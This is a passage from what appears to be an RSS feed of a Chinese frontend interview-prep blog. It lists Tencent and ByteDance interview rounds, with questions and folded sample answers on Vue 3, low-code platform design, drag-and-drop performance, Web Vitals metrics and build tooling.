&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-79/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-79/round-128/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 这些题目全面考察了前端工程师在实际项目中需要掌握的核心技术和解决问题的能力，涵盖了从基础原理到工程实践的各个层面。&lt;/p&gt;
&lt;p&gt;本轮共 23 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-327b17e537b3"&gt;1. 自我介绍、项目介绍&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;技术栈熟练度、架构经验、性能优化成果、团队协作能力&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;具有3年前端开发经验，专注于现代化前端技术栈和工程化实践。主要负责过大型电商平台的前端架构设计和性能优化工作，熟练掌握 Vue/React 生态系统。在项目中主导了从传统架构向微前端架构的迁移，通过模块联邦和组件库建设提升了团队开发效率。同时在性能优化方面有丰富实践，将核心页面的首屏加载时间优化至2秒以内。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-264a86fa57fa"&gt;2. 可视化搭建平台中，如何设计数据规范保证组件间数据兼容性？请求收效的具体实现方案是什么？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;Schema规范、数据校验、适配器模式、请求优化策略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;建立统一的数据协议规范，定义标准的组件 Schema 结构，包含 props、events、slots 等接口描述。通过 JSON Schema 进行数据校验，确保组件间数据传递的类型安全。实现数据适配器模式，当组件接口不兼容时自动进行数据转换。请求收效方面，采用请求去重和缓存策略，相同请求在短时间内只发送一次，同时建立请求优先级队列，确保关键数据的及时响应。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-7fdf24ca2fb8"&gt;3. 组件的拖拽行为如何实现？如何为组件动态注入行为（如拖拽、缩放）？&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;事件序列处理、状态管理、装饰器模式、行为解耦&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;拖拽实现基于原生 Drag API 或鼠标事件，通过监听 mousedown、mousemove、mouseup 事件序列。建立拖拽状态管理，记录拖拽起始位置、当前位置和目标位置。动态行为注入采用装饰器模式或高阶组件，将行为逻辑与组件本身解耦。通过 mixin 或 composition API 的方式，在运行时为组件添加拖拽、缩放等交互能力。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-4da1a84bbb8d"&gt;4. 如何解决拖拽过程中频繁触发事件导致的性能问题？&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;节流防抖、requestAnimationFrame、事件委托、计算优化&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;使用节流（throttle）限制事件触发频率，通常设置为 16ms 以保持 60fps 的流畅度。采用 requestAnimationFrame 优化动画渲染，确保在浏览器重绘时机执行位置更新。实现事件委托减少事件监听器数量，在容器元素上统一处理拖拽事件。对于复杂计算，使用防抖（debounce）延迟执行，避免在拖拽过程中进行不必要的重计算。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-26e22fa9-becc-4552-b79a-da2f67451455"&gt;5. 性能优化关注的指标有哪些（如FCP、TTI）？你用了哪些具体手段？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/26e22fa9-becc-4552-b79a-da2f67451455"&gt;前端性能优化指标有哪些？怎么进行性能检测？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-4"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;前端性能评估主要围绕三个维度展开：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;页面加载速度、交互响应能力以及页面稳定性。常见指标包括 FP、FCP、LCP 等加载指标，FID 和 INP 等交互指标，以及 CLS 布局稳定性指标。&lt;/li&gt;
&lt;li&gt;性能检测通常分为两类方式：开发阶段使用 Lighthouse、Chrome DevTools、WebPageTest 等工具进行实验室分析；&lt;/li&gt;
&lt;li&gt;线上环境通过 Performance API 或 web-vitals 采集真实用户性能数据，并结合监控平台进行统计与优化。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;前端性能通常不会只看单一指标，而是从&lt;strong&gt;用户感知加载速度、交互响应速度以及页面稳定性&lt;/strong&gt;三个维度进行评估。当前行业中比较主流的一套指标体系来自 Google 提出的 &lt;strong&gt;Web Vitals&lt;/strong&gt;，并结合传统的加载性能指标共同评估。&lt;/p&gt;</description></item><item><title>腾讯-3年社招-前端面试 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-79/round-128/</link><pubDate>Sun, 07 Sep 2025 02:45:19 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-79/round-128/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-79/round-127/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-79/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 13 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-f957ef7db458"&gt;1. 讲一下你的低代码平台架构设计&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;分层架构、组件引擎、JSON Schema、热更新机制&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;低代码平台采用分层架构设计：底层是组件引擎，负责组件的注册、渲染和生命周期管理；中间层是可视化编辑器，提供拖拽、属性配置和预览功能；上层是业务逻辑层，处理数据绑定、事件处理和页面路由。技术栈选择 Vue 3 + TypeScript，通过 JSON Schema 描述组件结构，使用虚拟 DOM 进行高效渲染。同时建立了组件市场和模板库，支持组件的版本管理和热更新机制。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-3be20a16e893"&gt;2. 动态加载第三方组件时，如何解决样式冲突与DOM管理问题？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;样式隔离、容器化渲染、事件总线、冲突检测&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;样式隔离通过 CSS Modules 或 Shadow DOM 实现，为每个组件创建独立的样式作用域。建立样式优先级管理机制，通过 CSS 变量和主题系统统一管理全局样式。DOM管理采用容器化策略，每个第三方组件在独立的容器中渲染，通过事件总线进行通信。同时实现样式冲突检测工具，在组件加载时自动检测并解决潜在冲突。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-fa9afd48a98f"&gt;3. 当业务需求超出平台预设组件能力时，你们是怎么扩展的&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;插槽扩展、开发工具链、能力评估、贡献机制&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;建立组件扩展机制，支持通过插槽（slot）和高阶组件进行功能扩展。提供自定义组件开发工具链，包括脚手架、调试工具和发布流程。实现组件能力评估系统，当检测到需求超出现有能力时，自动推荐相似组件或提供扩展建议。同时建立组件贡献机制，允许开发者提交自定义组件到组件库，经过审核后供全平台使用。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-1e64532367d6"&gt;4. 组件的热更新策略是怎么处理的，在不影响用户的使用情况下&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;渐进式更新、状态保持、回滚机制、用户确认&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;采用渐进式热更新策略，通过版本控制和灰度发布确保更新的安全性。实现组件状态保持机制，在更新过程中保存组件的当前状态，更新完成后恢复状态。建立回滚机制，当检测到更新异常时自动回滚到稳定版本。同时提供更新通知和用户确认机制，让用户选择合适的时机进行更新，避免在关键操作时中断用户体验。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-fe5534202ada"&gt;5. 组件通信机制如何设计&lt;/h2&gt;
&lt;h3 id="题目要点-4"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;多层次通信、消息路由、协议标准化、调试工具&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;设计多层次的通信机制：父子组件通过 props 和 events 通信，兄弟组件通过事件总线或状态管理，跨层级组件使用 provide/inject 或全局状态。建立消息路由系统，支持组件间的异步通信和消息队列。实现通信协议标准化，定义统一的消息格式和处理流程。同时提供通信调试工具，帮助开发者追踪消息流向和排查通信问题。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-388ffde4eced"&gt;6. 移动端适配是什么做的&lt;/h2&gt;
&lt;h3 id="题目要点-5"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;响应式设计、弹性布局、手势支持、性能优化&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;采用响应式设计和移动优先策略，使用 rem/vw 单位实现弹性布局。建立设备适配规则库，根据屏幕尺寸和设备类型自动调整组件样式。实现触摸手势支持，优化移动端的交互体验。同时建立性能优化机制，针对移动设备的性能特点进行资源加载和渲染优化，确保在低性能设备上也能流畅运行。&lt;/p&gt;</description></item><item><title>腾讯-2年社招-前端面试 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-78/round-125/</link><pubDate>Sun, 07 Sep 2025 02:17:29 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-78/round-125/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-78/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-78/round-126/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 23 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-d92deba5d64c"&gt;1. Vue 3.0 相比 Vue 2.0 有哪些改进？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;响应式系统升级、Composition API、性能优化、TypeScript支持、Fragment支持&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;Vue 3.0 在架构层面进行了重大重构，采用了基于 Proxy 的响应式系统替代了 Object.defineProperty，这使得可以直接监听数组变化和动态属性添加。组合式 API 的引入提供了更好的逻辑复用和类型推导能力。在性能方面，通过 Tree-shaking 支持、更小的包体积、以及编译时优化显著提升了运行效率。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-0fc6cee72f3d"&gt;2. Composition API 解决了 Options API 的哪些问题？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;逻辑聚合、代码复用、类型推导、避免mixin问题&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;Options API 在处理复杂组件时会出现逻辑分散的问题，相关的数据、方法、计算属性被强制分离到不同的选项中。Composition API 通过 setup 函数将相关逻辑聚合在一起，提高了代码的可维护性。同时解决了 mixin 命名冲突和来源不清晰的问题，提供了更好的 TypeScript 类型推导支持。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-3c46deb606e6"&gt;3. Proxy 相比 Object.defineProperty 在响应式上有何优势？&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;对象级别监听、动态属性支持、数组监听、更多拦截操作&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;Proxy 可以直接监听整个对象而不需要遍历每个属性，支持动态属性的添加和删除监听。对于数组操作，Proxy 可以直接监听数组的变化，而 Object.defineProperty 需要重写数组方法。Proxy 还支持更多的拦截操作，如 has、deleteProperty 等，提供了更完整的响应式能力。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-8d6eee18b772"&gt;4. nextTick 如何保证 DOM 更新后执行回调？&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;事件循环、微任务队列、异步更新、降级策略&lt;/p&gt;</description></item><item><title>腾讯-2年社招-前端面试 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-78/round-126/</link><pubDate>Sun, 07 Sep 2025 02:17:29 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-78/round-126/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-78/round-125/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-78/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 9 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-9a287344c514"&gt;1. 讲一下你觉得比较有亮点的项目&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;技术选型合理性、渐进式迁移策略、自动化工具、性能保障&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在负责的一个大型电商平台重构项目中，面临着从传统 jQuery 架构向现代化 Vue 3 + TypeScript 架构迁移的挑战。项目的亮点在于采用了渐进式迁移策略，通过微前端架构实现新老系统的平滑过渡。设计了一套自动化的代码转换工具，将重复性的迁移工作自动化，提升了整体迁移效率 60%。同时建立了完善的性能监控体系，确保迁移过程中用户体验不受影响。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-3d6a09a5ba0d"&gt;2. 项目的难点，你是怎么推动的&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;风险控制、分阶段实施、灰度发布、跨团队协作&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;最大的难点是在不影响线上业务的前提下完成大规模重构。通过制定详细的迁移计划，将整个项目拆分为多个独立的里程碑，每个阶段都有明确的交付物和验收标准。建立了灰度发布机制，新功能先在小范围用户中验证，逐步扩大覆盖范围。同时与产品、测试、运维团队建立了紧密的协作机制，确保各个环节的顺畅衔接。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-3118e233931d"&gt;3. 页面性能优化你做了哪些工作&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;多维度优化、量化效果、监控体系、持续改进&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;从多个维度进行了系统性优化：资源层面实施了代码分割和懒加载，将首屏加载时间减少 40%；网络层面启用了 HTTP/2 和资源预加载，优化了关键渲染路径；渲染层面使用了虚拟滚动和组件缓存，提升了长列表的交互性能；同时建立了性能监控体系，通过 Performance API 和用户行为分析持续跟踪优化效果。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-d7098a03adf1"&gt;4. 相关的指标有哪些，怎么去衡量的，标准是什么&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;Core Web Vitals、RUM监控、分类基准、持续监测&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;建立了完整的性能指标体系：Core Web Vitals 作为核心指标，包括 LCP（2.5s 以内）、FID（100ms 以内）、CLS（0.1 以内）；业务指标包括首屏加载时间、页面完全加载时间、接口响应时间等。通过 RUM（真实用户监控）收集线上数据，结合 Lighthouse 进行定期检测。制定了不同页面类型的性能基准，如首页 LCP 控制在 2s 内，列表页控制在 2.5s 内。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-95185ca6-291f-4160-b65d-f291dfdf8a4f"&gt;5. WebSocket 协议原理&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/95185ca6-291f-4160-b65d-f291dfdf8a4f"&gt;说下 websocket 的连接原理&lt;/a&gt;&lt;/p&gt;</description></item><item><title>腾讯-1年社招-前端面试 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-77/round-124/</link><pubDate>Thu, 04 Sep 2025 14:50:28 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-77/round-124/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-77/round-123/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-77/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 10 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-052576c3597e"&gt;1. 讲一下你的第一个项目&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;突出难点与解决方案，亮点强调可扩展性与价值。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;第一个项目是一个内部管理系统，主要功能是数据可视化和表单管理。难点在于表单项类型复杂、交互逻辑多。解决方案是抽象出一套动态表单引擎，通过 JSON 配置生成组件，既降低了开发成本，也提升了可扩展性。项目的亮点在于统一了交互和样式规范，同时通过可配置化提高了可维护性。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-5166f4b076aa"&gt;2. 为什么选择 Vue3 + Vite 而非 React/Webpack&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;Vue3 → 响应式系统和语法优势；Vite → 构建性能显著提升。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;Vue3 在响应式系统上引入了 Proxy，更适合处理复杂响应式数据，语法上对团队更友好。Vite 基于 ESBuild 和原生 ESM，构建速度远快于 Webpack，特别是在开发阶段的冷启动和热更新体验明显更优。而 Webpack 尽管生态成熟，但在开发构建效率上落后。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-1ecf3069eb75"&gt;3. Vite 的构建速度比 Webpack 快多少&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;冷启动快一个数量级，HMR 延迟极低，原因是按需编译 vs 整包构建。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在实际项目中，冷启动通常能快 10 倍以上。例如一个中大型项目，Webpack 启动需要 20-30 秒，Vite 一般在 1-3 秒即可完成；热更新延迟也从秒级缩短到 100ms 以内。这是因为 Vite 基于原生 ESM 做按需编译，而 Webpack 是整包构建。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-40f1ae7b12e8"&gt;4. FCP 从 3.2s 降到 1.1s，具体做了哪些优化？&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;构建优化 + 资源优化 + 网络优化 + SSR 骨架屏。&lt;/p&gt;</description></item><item><title>腾讯-1年社招-前端面试 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-77/round-123/</link><pubDate>Thu, 04 Sep 2025 14:50:27 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-77/round-123/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-77/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-77/round-124/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 15 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-c3858e222cfb"&gt;1. 讲一下项目的难点和亮点&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;突出解决问题的能力，说明遇到过的复杂问题和优化方案，亮点要体现价值和可扩展性。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在大型前端项目中，常见难点在于性能优化和复杂业务的抽象。比如数据量大时页面渲染和交互卡顿，需要通过虚拟列表、懒加载、分片渲染等方式解决；跨端适配和复杂状态管理也是典型难点。亮点可以体现在工程化和架构设计上，例如通过模块化拆分、微前端架构提高可维护性，或通过自动化工具链提升研发效率。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-b8b956cfe46c"&gt;2. 项目的规范是如何制定的，如何执行的&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;强调自动化工具与制度双管齐下，执行靠工具、评审和 CI 流程。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;前端规范一般从编码规范、组件封装规范、目录结构、Git 提交规范等方面制定。执行时可以依赖工具保障，比如 ESLint + Prettier 自动化格式化，Husky + lint-staged 在提交时校验，CI/CD 流程中增加检测。对组件层面，约定统一的 API 风格和文档，保证多人协作一致性。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-7d27dc57-5d95-4e3f-88a7-eb685b7c21e4"&gt;3. 说说vue中的diff算法&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/7d27dc57-5d95-4e3f-88a7-eb685b7c21e4"&gt;说说vue中的diff算法&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;diff&lt;/code&gt;算法是一种高效的比较算法，主要用于比较虚拟&lt;code&gt;DOM&lt;/code&gt;节点，以确定如何更新真实&lt;code&gt;DOM&lt;/code&gt;。它具有两个特点：只会在同层级进行比较，不会跨层级比较；在比较的过程中，循环从两边向中间收拢。&lt;/p&gt;
&lt;p&gt;在Vue中，&lt;code&gt;diff&lt;/code&gt;算法用于比较新旧&lt;code&gt;VNode&lt;/code&gt;节点，以决定如何更新真实&lt;code&gt;DOM&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这个过程分为以下几个步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;比较新旧&lt;code&gt;VNode&lt;/code&gt;节点&lt;/strong&gt;：如果新旧节点相同，则不做任何操作；如果新旧节点都不存在子节点，则直接结束比较；如果新旧节点都有子节点，则进入&lt;code&gt;updateChildren&lt;/code&gt;函数比较子节点。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更新子节点&lt;/strong&gt;：在&lt;code&gt;updateChildren&lt;/code&gt;函数中，设置新旧&lt;code&gt;VNode&lt;/code&gt;的头尾指针，然后从两边向中间比较。如果新旧头尾指针相同，则直接&lt;code&gt;patchVnode&lt;/code&gt;；如果新旧头尾指针不同，则根据情况调用&lt;code&gt;patchVnode&lt;/code&gt;、&lt;code&gt;createElm&lt;/code&gt;创建新节点，或者从哈希表寻找&lt;code&gt;key&lt;/code&gt;一致的旧&lt;code&gt;VNode&lt;/code&gt;节点再进行分情况操作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;patchVnode&lt;/code&gt;方法&lt;/strong&gt;：如果新旧节点都有文本节点且不相等，则设置真实&lt;code&gt;dom&lt;/code&gt;的文本节点为新节点的文本节点；如果旧节点有子节点而新节点没有，则删除旧节点的子节点；如果旧节点没有子节点而新节点有，则将新节点的子节点真实化后添加到旧节点；如果两者都有子节点，则进入&lt;code&gt;updateChildren&lt;/code&gt;函数比较子节点。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过&lt;code&gt;diff&lt;/code&gt;算法，Vue能够高效地比较新旧&lt;code&gt;VNode&lt;/code&gt;节点，以决定如何更新真实&lt;code&gt;DOM&lt;/code&gt;，从而提高页面渲染的性能。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一是什么"&gt;一、是什么&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;diff&lt;/code&gt; 算法是一种通过同层的树节点进行比较的高效算法&lt;/p&gt;
&lt;p&gt;其有两个特点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;比较只会在同层级进行, 不会跨层级比较&lt;/li&gt;
&lt;li&gt;在diff比较的过程中，循环从两边向中间比较&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;diff&lt;/code&gt; 算法的在很多场景下都有应用，在 &lt;code&gt;vue&lt;/code&gt; 中，作用于虚拟 &lt;code&gt;dom&lt;/code&gt; 渲染成真实 &lt;code&gt;dom&lt;/code&gt; 的新旧 &lt;code&gt;VNode&lt;/code&gt; 节点比较&lt;/p&gt;
&lt;h2 id="二比较方式"&gt;二、比较方式&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;diff&lt;/code&gt;整体策略为：深度优先，同层比较&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;比较只会在同层级进行, 不会跨层级比较&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://static.ecool.fun//article/6366ea3c-b5f9-4add-a1d9-8fb1e7b6c726.png"&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;比较的过程中，循环从两边向中间收拢&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://static.ecool.fun//article/66a1b47c-6fd5-4a1a-80a9-a7bbfdf30022.png"&gt;&lt;/p&gt;</description></item><item><title>字节-技术中台-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-76/round-121/</link><pubDate>Tue, 02 Sep 2025 07:35:12 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-76/round-121/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-76/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-76/round-122/"&gt;第 2 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察校招生的前端基础知识、框架理解（Vue和React）、TypeScript应用、手写代码能力以及解决实际问题的能力。面试官重点关注以下几个方面：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;前端框架深度理解与实践&lt;/strong&gt;：不仅要求掌握Vue和React的基础知识，更强调对框架设计原理（如Vue的响应式、虚拟DOM）的理解，以及在实际项目中的应用能力（如Vuex到Pinia的迁移，以及在React中模拟Vue特性的思路）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JavaScript 核心与异步编程&lt;/strong&gt;：对&lt;code&gt;Object.defineProperty&lt;/code&gt;的数据劫持原理、Promise的深入理解及其各种组合与错误处理方式（&lt;code&gt;Promise.all&lt;/code&gt;、&lt;code&gt;Promise.allSettled&lt;/code&gt;），以及&lt;code&gt;async/await&lt;/code&gt;与Promise的关系是考察重点。手写算法题（数组扁平化、深拷贝）考验基础编码功底。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TypeScript 实际应用&lt;/strong&gt;：考察对TypeScript的熟练程度，包括基本类型、高级类型（如索引签名定义动态属性）的运用，以及如何在项目中利用TypeScript提升代码质量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工程化与性能优化&lt;/strong&gt;：Monorepo 多包依赖管理及冲突解决是工程实践的体现。图片懒加载的实现方式（尤其是&lt;code&gt;Intersection Observer API&lt;/code&gt;的应用）及其阈值优化，体现了对前端性能优化的关注和实践经验。&lt;/li&gt;
&lt;/ol&gt;
